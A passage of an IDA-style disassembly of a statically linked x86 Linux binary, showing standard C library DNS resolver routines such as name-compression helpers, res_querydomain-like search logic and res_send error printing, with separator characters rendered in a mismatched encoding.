		jnz	short loc_804D395
		movzx	ebx, byte ptr [esi]
		inc	esi
		test	ebx, ebx
		jz	short loc_804D3B0

loc_804D395:				; CODE XREF: sub_804D2A0+EBj
		cmp	[ebp+var_C], edi
		jbe	short loc_804D3DA
		mov	al, bl
		mov	[edi], al
		inc	edi
		movzx	ebx, byte ptr [esi]
		inc	esi
		test	ebx, ebx
		jz	short loc_804D3B0

loc_804D3A7:				; CODE XREF: sub_804D2A0+E6j
		cmp	ebx, 2Eh
		jnz	short loc_804D388
		movzx	ebx, byte ptr [esi]
		inc	esi

loc_804D3B0:				; CODE XREF: sub_804D2A0+F3j
					; sub_804D2A0+105j
		mov	ecx, edi
		sub	ecx, [ebp+var_14]
		dec	ecx
		jnz	short loc_804D3C0
		test	ebx, ebx
		jz	loc_804D2FC

loc_804D3C0:				; CODE XREF: sub_804D2A0+116j
		lea	eax, [ecx-1]
		cmp	eax, 3Eh
		ja	short loc_804D3DA
		mov	edx, [ebp+var_14]
		mov	[edx], cl
		test	ebx, ebx
		jnz	loc_804D318

loc_804D3D5:				; CODE XREF: sub_804D2A0+5Dj
					; sub_804D2A0+71j
		cmp	[ebp+var_C], edi
		ja	short loc_804D3F0

loc_804D3DA:				; CODE XREF: sub_804D2A0+F8j
					; sub_804D2A0+126j
		cmp	[ebp+var_10], 0
		jz	short loc_804D3E9
		mov	edx, [ebp+var_8]
		mov	dword ptr [edx], 0

loc_804D3E9:				; CODE XREF: sub_804D2A0+A2j
					; sub_804D2A0+13Ej
		mov	eax, 0FFFFFFFFh
		jmp	short loc_804D3F9
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804D3F0:				; CODE XREF: sub_804D2A0+138j
		mov	byte ptr [edi],	0
		inc	edi

loc_804D3F4:				; CODE XREF: sub_804D2A0+B8j
		mov	eax, edi
		sub	eax, [ebp+arg_4]

loc_804D3F9:				; CODE XREF: sub_804D2A0+14Ej
		lea	esp, [ebp+var_20]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_804D2A0	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_804D404	proc near		; CODE XREF: sub_805EFB0+88p
					; sub_805EFB0+E0p ...

var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	eax, esi
		cmp	esi, ebx
		jnb	short loc_804D440
		lea	esi, [esi+0]

loc_804D418:				; CODE XREF: sub_804D404+3Aj
		movzx	edx, byte ptr [eax]
		inc	eax
		test	edx, edx
		jz	short loc_804D440
		mov	ecx, edx
		and	ecx, 0C0h
		jz	short loc_804D434
		cmp	ecx, 0C0h
		jz	short loc_804D438
		jmp	short loc_804D448
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804D434:				; CODE XREF: sub_804D404+24j
		add	eax, edx
		jmp	short loc_804D43C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804D438:				; CODE XREF: sub_804D404+2Cj
		inc	eax
		jmp	short loc_804D440
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804D43C:				; CODE XREF: sub_804D404+32j
		cmp	eax, ebx
		jb	short loc_804D418

loc_804D440:				; CODE XREF: sub_804D404+Fj
					; sub_804D404+1Aj ...
		cmp	eax, ebx
		ja	short loc_804D448
		sub	eax, esi
		jmp	short loc_804D44D
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804D448:				; CODE XREF: sub_804D404+2Ej
					; sub_804D404+3Ej
		mov	eax, 0FFFFFFFFh

loc_804D44D:				; CODE XREF: sub_804D404+42j
		lea	esp, [ebp+var_8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_804D404	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_804D458	proc near		; CODE XREF: sub_804D484+81p
					; sub_804D484+8Ep ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		test	dl, dl
		jl	short loc_804D47C
		mov	eax, dword_8078FA0
		test	byte ptr [eax+edx*2+1],	1
		jz	short loc_804D47C
		mov	eax, dword_8078FA4
		mov	eax, [eax+edx*4]
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804D47C:				; CODE XREF: sub_804D458+8j
					; sub_804D458+14j
		mov	eax, edx
		mov	esp, ebp
		pop	ebp
		retn
sub_804D458	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_804D484	proc near		; CODE XREF: sub_804D2A0+8Ep

var_30		= byte ptr -30h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		mov	[ebp+var_4], ecx
		jmp	loc_804D69C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804D498:				; CODE XREF: sub_804D484+21Ej
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_4]
		mov	ecx, [ecx]
		mov	[ebp+var_8], ecx
		movzx	esi, byte ptr [ecx]
		mov	edi, ecx
		jmp	loc_804D681
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804D4B0:				; CODE XREF: sub_804D484+200j
		mov	eax, esi
		and	eax, 0C0h
		jz	short loc_804D4CC
		cmp	eax, 0C0h
		jz	loc_804D66C
		jmp	loc_804D6A8
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804D4CC:				; CODE XREF: sub_804D484+33j
		dec	esi
		js	loc_804D656
		mov	eax, esi
		not	eax
		and	eax, 3
		cmp	esi, 0FFFFFFFFh
		jle	short loc_804D557
		test	eax, eax
		jz	loc_804D590
		cmp	eax, 3
		jge	short loc_804D557
		cmp	eax, 2
		jge	short loc_804D524
		cmp	byte ptr [ebx],	2Eh
		jz	loc_804D698
		cmp	byte ptr [ebx],	5Ch
		jnz	short loc_804D500
		inc	ebx

loc_804D500:				; CODE XREF: sub_804D484+79j
		movzx	eax, byte ptr [ebx]
		push	eax
		inc	ebx
		call	sub_804D458
		mov	[ebp+var_C], eax
		movzx	eax, byte ptr [edi]
		push	eax
		inc	edi
		call	sub_804D458
		add	esp, 8
		cmp	[ebp+var_C], eax
		jnz	loc_804D698
		dec	esi

loc_804D524:				; CODE XREF: sub_804D484+6Bj
		cmp	byte ptr [ebx],	2Eh
		jz	loc_804D698
		cmp	byte ptr [ebx],	5Ch
		jnz	short loc_804D533
		inc	ebx

loc_804D533:				; CODE XREF: sub_804D484+ACj
		movzx	eax, byte ptr [ebx]
		push	eax
		inc	ebx
		call	sub_804D458
		mov	[ebp+var_10], eax
		movzx	eax, byte ptr [edi]
		push	eax
		inc	edi
		call	sub_804D458
		add	esp, 8
		cmp	[ebp+var_10], eax
		jnz	loc_804D698
		dec	esi

loc_804D557:				; CODE XREF: sub_804D484+59j
					; sub_804D484+66j
		cmp	byte ptr [ebx],	2Eh
		jz	loc_804D698
		cmp	byte ptr [ebx],	5Ch
		jnz	short loc_804D566
		inc	ebx

loc_804D566:				; CODE XREF: sub_804D484+DFj
		movzx	eax, byte ptr [ebx]
		push	eax
		inc	ebx
		call	sub_804D458
		mov	[ebp+var_14], eax
		movzx	eax, byte ptr [edi]
		push	eax
		inc	edi
		call	sub_804D458
		add	esp, 8
		cmp	[ebp+var_14], eax
		jnz	loc_804D698
		dec	esi
		js	loc_804D656

loc_804D590:				; CODE XREF: sub_804D484+5Dj
					; sub_804D484+1CCj
		cmp	byte ptr [ebx],	2Eh
		jz	loc_804D698
		cmp	byte ptr [ebx],	5Ch
		jnz	short loc_804D59F
		inc	ebx

loc_804D59F:				; CODE XREF: sub_804D484+118j
		movzx	eax, byte ptr [ebx]
		push	eax
		inc	ebx
		call	sub_804D458
		mov	[ebp+var_18], eax
		movzx	eax, byte ptr [edi]
		push	eax
		inc	edi
		call	sub_804D458
		add	esp, 8
		cmp	[ebp+var_18], eax
		jnz	loc_804D698
		dec	esi
		cmp	byte ptr [ebx],	2Eh
		jz	loc_804D698
		cmp	byte ptr [ebx],	5Ch
		jnz	short loc_804D5D2
		inc	ebx

loc_804D5D2:				; CODE XREF: sub_804D484+14Bj
		movzx	eax, byte ptr [ebx]
		push	eax
		inc	ebx
		call	sub_804D458
		mov	[ebp+var_1C], eax
		movzx	eax, byte ptr [edi]
		push	eax
		inc	edi
		call	sub_804D458
		add	esp, 8
		cmp	[ebp+var_1C], eax
		jnz	loc_804D698
		dec	esi
		cmp	byte ptr [ebx],	2Eh
		jz	loc_804D698
		cmp	byte ptr [ebx],	5Ch
		jnz	short loc_804D605
		inc	ebx

loc_804D605:				; CODE XREF: sub_804D484+17Ej
		movzx	eax, byte ptr [ebx]
		push	eax
		inc	ebx
		call	sub_804D458
		mov	[ebp+var_20], eax
		movzx	eax, byte ptr [edi]
		push	eax
		inc	edi
		call	sub_804D458
		add	esp, 8
		cmp	[ebp+var_20], eax
		jnz	short loc_804D698
		dec	esi
		cmp	byte ptr [ebx],	2Eh
		jz	short loc_804D698
		cmp	byte ptr [ebx],	5Ch
		jnz	short loc_804D630
		inc	ebx

loc_804D630:				; CODE XREF: sub_804D484+1A9j
		movzx	eax, byte ptr [ebx]
		push	eax
		inc	ebx
		call	sub_804D458
		mov	[ebp+var_24], eax
		movzx	eax, byte ptr [edi]
		push	eax
		inc	edi
		call	sub_804D458
		add	esp, 8
		cmp	[ebp+var_24], eax
		jnz	short loc_804D698
		dec	esi
		jns	loc_804D590

loc_804D656:				; CODE XREF: sub_804D484+49j
					; sub_804D484+106j
		movzx	esi, byte ptr [ebx]
		inc	ebx
		test	esi, esi
		jnz	short loc_804D663
		cmp	byte ptr [edi],	0
		jz	short loc_804D68F

loc_804D663:				; CODE XREF: sub_804D484+1D8j
		cmp	esi, 2Eh
		jz	short loc_804D67E
		jmp	short loc_804D698
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804D66C:				; CODE XREF: sub_804D484+3Aj
		mov	eax, esi
		and	eax, 3Fh
		shl	eax, 8
		movzx	edx, byte ptr [edi]
		or	eax, edx
		mov	edi, [ebp+arg_4]
		add	edi, eax

loc_804D67E:				; CODE XREF: sub_804D484+1E2j
		movzx	esi, byte ptr [edi]

loc_804D681:				; CODE XREF: sub_804D484+24j
		inc	edi
		test	esi, esi
		jnz	loc_804D4B0
		cmp	byte ptr [ebx],	0
		jnz	short loc_804D698

loc_804D68F:				; CODE XREF: sub_804D484+1DDj
		mov	eax, [ebp+var_8]
		sub	eax, [ebp+arg_4]
		jmp	short loc_804D6AD
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804D698:				; CODE XREF: sub_804D484+70j
					; sub_804D484+99j ...
		add	[ebp+var_4], 4

loc_804D69C:				; CODE XREF: sub_804D484+Fj
		mov	ecx, [ebp+arg_C]
		cmp	[ebp+var_4], ecx
		jb	loc_804D498

loc_804D6A8:				; CODE XREF: sub_804D484+40j
		mov	eax, 0FFFFFFFFh

loc_804D6AD:				; CODE XREF: sub_804D484+211j
		lea	esp, [ebp+var_30]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_804D484	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_804D6B8	proc near		; CODE XREF: sub_804B800+19Fp
					; sub_804B800+1ADp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	dl, [eax]
		shl	dx, 8
		movzx	ax, byte ptr [eax+1]
		or	dx, ax
		movzx	eax, dx
		mov	esp, ebp
		pop	ebp
		retn
sub_804D6B8	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_804D6D4	proc near		; CODE XREF: sub_805F7E4+66p
					; sub_805F7E4+41Dp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		mov	cl, [edx]
		shl	ecx, 18h
		movzx	eax, byte ptr [edx+1]
		shl	eax, 10h
		or	ecx, eax
		movzx	eax, byte ptr [edx+2]
		shl	eax, 8
		or	ecx, eax
		movzx	eax, byte ptr [edx+3]
		or	ecx, eax
		mov	eax, ecx
		mov	esp, ebp
		pop	ebp
		retn
sub_804D6D4	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_804D700	proc near		; CODE XREF: res_send+283p
					; res_mkquery+113p ...

arg_0		= word ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_4]
		mov	dx, [ebp+arg_0]
		mov	eax, edx
		shr	ax, 8
		mov	[ecx], al
		mov	[ecx+1], dl
		mov	esp, ebp
		pop	ebp
		retn
sub_804D700	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_804D71C	proc near		; CODE XREF: res_mkquery+188p
					; res_mkquery+1D9p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_4]
		mov	eax, ecx
		shr	eax, 18h
		mov	[edx], al
		mov	eax, ecx
		shr	eax, 10h
		mov	[edx+1], al
		mov	eax, ecx
		shr	eax, 8
		mov	[edx+2], al
		mov	[edx+3], cl
		mov	esp, ebp
		pop	ebp
		retn
sub_804D71C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
; [00000722 BYTES: COLLAPSED FUNCTION res_init.	PRESS KEYPAD "+" TO EXPAND]
		align 4
; [0000010B BYTES: COLLAPSED FUNCTION sub_804DE68. PRESS KEYPAD	"+" TO EXPAND]
		align 4
; [0000003D BYTES: COLLAPSED FUNCTION sub_804DF74. PRESS KEYPAD	"+" TO EXPAND]
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_804DFB4	proc near		; CODE XREF: res_init+77p

var_8		= word ptr -8
var_4		= word ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	0
		lea	eax, [ebp+var_8]
		push	eax
		call	__libc_gettimeofday
		call	__libc_getpid
		mov	edx, eax
		mov	ax, [ebp+var_8]
		xor	ax, [ebp+var_4]
		xor	ax, dx
		and	eax, 0FFFFh
		mov	esp, ebp
		pop	ebp
		retn
sub_804DFB4	endp

; [0000019F BYTES: COLLAPSED FUNCTION res_query. PRESS KEYPAD "+" TO EXPAND]
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_804E180	proc near		; CODE XREF: gethostbyname+144p

var_20		= byte ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	edi
		push	esi
		push	ebx
		mov	edi, [ebp+arg_0]
		mov	edx, [ebp+arg_C]
		mov	[ebp+var_4], edx
		mov	[ebp+var_C], 0
		mov	[ebp+var_10], 0
		mov	[ebp+var_14], 0
		test	byte ptr dword_807854C,	1
		jnz	short loc_804E1CC
		call	res_init
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_804E1CC
		mov	ds:dword_807E788, 0FFFFFFFFh
		jmp	loc_804E388
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804E1CC:				; CODE XREF: sub_804E180+2Ej
					; sub_804E180+38j
		mov	errno, 0
		mov	ds:dword_807E788, 1
		xor	ebx, ebx
		mov	eax, edi
		cmp	byte ptr [edi],	0
		jz	short loc_804E1F8
		lea	esi, [esi+0]

loc_804E1EC:				; CODE XREF: sub_804E180+76j
		cmp	byte ptr [eax],	2Eh
		jnz	short loc_804E1F2
		inc	ebx

loc_804E1F2:				; CODE XREF: sub_804E180+6Fj
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_804E1EC

loc_804E1F8:				; CODE XREF: sub_804E180+67j
		xor	esi, esi
		cmp	eax, edi
		jbe	short loc_804E205
		cmp	byte ptr [eax-1], 2Eh
		jnz	short loc_804E205
		inc	esi

loc_804E205:				; CODE XREF: sub_804E180+7Cj
					; sub_804E180+82j
		test	ebx, ebx
		jnz	short loc_804E234
		push	edi
		call	__hostalias
		add	esp, 4
		test	eax, eax
		jz	short loc_804E234
		mov	edx, [ebp+arg_10]
		push	edx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	edx, [ebp+arg_4]
		push	edx
		push	eax
		call	res_query
		jmp	loc_804E38D
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804E234:				; CODE XREF: sub_804E180+87j
					; sub_804E180+94j
		mov	[ebp+var_8], 0FFFFFFFFh
		mov	al, byte_80786A8
		and	eax, 0Fh
		cmp	ebx, eax
		jb	short loc_804E277
		mov	edx, [ebp+arg_10]
		push	edx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	edx, [ebp+arg_4]
		push	edx
		push	0
		push	edi
		call	sub_804E398
		add	esp, 18h
		test	eax, eax
		jg	loc_804E38D
		mov	edx, ds:dword_807E788
		mov	[ebp+var_8], edx
		inc	[ebp+var_14]

loc_804E277:				; CODE XREF: sub_804E180+C6j
		test	ebx, ebx
		jnz	short loc_804E28C
		cmp	byte ptr dword_807854C,	0
		jl	short loc_804E2A1
		jmp	loc_804E32F
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804E28C:				; CODE XREF: sub_804E180+F9j
		test	esi, esi
		jnz	loc_804E32F
		test	byte ptr dword_807854C+1, 2
		jz	loc_804E32F

loc_804E2A1:				; CODE XREF: sub_804E180+102j
		xor	ebx, ebx
		mov	esi, offset dword_8078588
		cmp	dword_8078588, 0
		jz	short loc_804E32F
		lea	esi, [esi+0]

loc_804E2B4:				; CODE XREF: sub_804E180+1ADj
		mov	edx, [ebp+arg_10]
		push	edx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [esi]
		push	eax
		push	edi
		call	sub_804E398
		add	esp, 18h
		test	eax, eax
		jg	loc_804E38D
		cmp	errno, 6Fh
		jz	loc_804E37E
		mov	eax, ds:dword_807E788
		cmp	eax, 2
		jz	short loc_804E304
		jg	short loc_804E2F8
		cmp	eax, 1
		jz	short loc_804E319
		jmp	short loc_804E318
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804E2F8:				; CODE XREF: sub_804E180+16Fj
		cmp	eax, 4
		jnz	short loc_804E318
		inc	[ebp+var_C]
		jmp	short loc_804E319
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804E304:				; CODE XREF: sub_804E180+16Dj
		mov	edx, [ebp+var_4]
		mov	al, [edx+3]
		and	al, 0Fh
		cmp	al, 2
		jnz	short loc_804E318
		inc	[ebp+var_10]
		jmp	short loc_804E319
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804E318:				; CODE XREF: sub_804E180+176j
					; sub_804E180+17Bj ...
		inc	ebx

loc_804E319:				; CODE XREF: sub_804E180+174j
					; sub_804E180+180j ...
		test	byte ptr dword_807854C+1, 2
		jnz	short loc_804E323
		inc	ebx

loc_804E323:				; CODE XREF: sub_804E180+1A0j
		add	esi, 4
		cmp	dword ptr [esi], 0
		jz	short loc_804E32F
		test	ebx, ebx
		jz	short loc_804E2B4

loc_804E32F:				; CODE XREF: sub_804E180+104j
					; sub_804E180+10Ej ...
		cmp	[ebp+var_14], 0
		jnz	short loc_804E351
		mov	edx, [ebp+arg_10]
		push	edx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	edx, [ebp+arg_4]
		push	edx
		push	0
		push	edi
		call	sub_804E398
		test	eax, eax
		jg	short loc_804E38D

loc_804E351:				; CODE XREF: sub_804E180+1B3j
		cmp	[ebp+var_8], 0FFFFFFFFh
		jz	short loc_804E364
		mov	edx, [ebp+var_8]
		mov	ds:dword_807E788, edx
		jmp	short loc_804E388
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804E364:				; CODE XREF: sub_804E180+1D5j
		cmp	[ebp+var_C], 0
		jz	short loc_804E378
		mov	ds:dword_807E788, 4
		jmp	short loc_804E388
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804E378:				; CODE XREF: sub_804E180+1E8j
		cmp	[ebp+var_10], 0
		jz	short loc_804E388

loc_804E37E:				; CODE XREF: sub_804E180+15Fj
		mov	ds:dword_807E788, 2

loc_804E388:				; CODE XREF: sub_804E180+44j
					; sub_804E180+1E0j ...
		mov	eax, 0FFFFFFFFh

loc_804E38D:				; CODE XREF: sub_804E180+ACj
					; sub_804E180+E5j ...
		lea	esp, [ebp+var_20]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_804E180	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_804E398	proc near		; CODE XREF: sub_804E180+DBp
					; sub_804E180+148p ...

var_210		= byte ptr -210h
var_204		= byte ptr -204h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		push	edi
		push	esi
		push	ebx
		mov	ebx, [ebp+arg_0]
		mov	edi, [ebp+arg_4]
		lea	esi, [ebp+var_204]
		test	byte ptr dword_807854C,	1
		jnz	short loc_804E3D8
		call	res_init
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_804E3D8
		mov	ds:dword_807E788, 0FFFFFFFFh
		mov	eax, 0FFFFFFFFh
		jmp	loc_804E482
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804E3D8:				; CODE XREF: sub_804E398+1Fj
					; sub_804E398+29j
		test	byte ptr dword_807854C,	2
		jz	short loc_804E403
		mov	edx, [ebp+arg_C]
		push	edx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, edi
		test	edi, edi
		jnz	short loc_804E3F4
		mov	eax, offset aNil ; "<Nil>"

loc_804E3F4:				; CODE XREF: sub_804E398+55j
		push	eax
		push	ebx
		push	offset aRes_querydomai ; ";; res_querydomain(%s, %s, %d, %d)\n"
		call	sub_804F7EC
		add	esp, 14h

loc_804E403:				; CODE XREF: sub_804E398+47j
		test	edi, edi
		jnz	short loc_804E44C
		xor	al, al
		mov	edi, ebx
		cld
		mov	ecx, 0FFFFFFFFh
		repne scasb
		mov	eax, ecx
		not	eax
		lea	edi, [eax-2]
		cmp	edi, 0FFFFFFFFh
		jz	short loc_804E448
		cmp	byte ptr [edi+ebx], 2Eh
		jnz	short loc_804E448
		cmp	edi, 200h
		ja	short loc_804E448
		push	edi
		lea	eax, [ebp+var_204]
		push	eax
		push	ebx
		call	bcopy
		mov	byte ptr [edi+ebp-204h], 0
		add	esp, 0Ch
		jmp	short loc_804E46C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804E448:				; CODE XREF: sub_804E398+85j
					; sub_804E398+8Bj ...
		mov	esi, ebx
		jmp	short loc_804E46C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804E44C:				; CODE XREF: sub_804E398+6Dj
		push	edi
		push	100h
		push	ebx
		push	100h
		push	offset a_S__S	; "%.*s.%.*s"
		lea	eax, [ebp+var_204]
		push	eax
		call	sprintf
		add	esp, 18h

loc_804E46C:				; CODE XREF: sub_804E398+AEj
					; sub_804E398+B2j
		mov	edx, [ebp+arg_14]
		push	edx
		mov	edx, [ebp+arg_10]
		push	edx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	edx, [ebp+arg_8]
		push	edx
		push	esi
		call	res_query

loc_804E482:				; CODE XREF: sub_804E398+3Aj
		lea	esp, [ebp+var_210]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_804E398	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
; [000001A5 BYTES: COLLAPSED FUNCTION __hostalias. PRESS KEYPAD	"+" TO EXPAND]
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

Aerror		proc near		; CODE XREF: res_send+256p
					; res_send+645p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_E		= word ptr  16h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		mov	eax, [ebp+arg_8]
		mov	ebx, errno
		test	byte ptr dword_807854C,	2
		jz	short loc_804E682
		push	eax
		call	sub_80566A4
		push	eax
		mov	ax, [ebp+arg_E]
		xchg	al, ah
		and	eax, 0FFFFh
		push	eax
		mov	eax, [ebp+arg_10]
		push	eax
		call	inet_ntoa
		add	esp, 4
		push	eax
		push	esi
		push	offset aRes_sendSS_US ;	"res_send: %s ([%s].%u): %s\n"
		push	edi
		call	_IO_fprintf

loc_804E682:				; CODE XREF: Aerror+1Cj
		mov	errno, ebx
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
Aerror		endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_804E694	proc near		; CODE XREF: res_send+2D4p
					; res_send+350p ...

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		mov	eax, [ebp+arg_8]
		mov	ebx, errno
		test	byte ptr dword_807854C,	2
		jz	short loc_804E6C5
		push	eax
		call	sub_80566A4
		push	eax
		push	esi
		push	offset aRes_sendSS ; "res_send:	%s: %s\n"
		push	edi
		call	_IO_fprintf

loc_804E6C5:				; CODE XREF: sub_804E694+1Cj
		mov	errno, ebx
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_804E694	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+8]
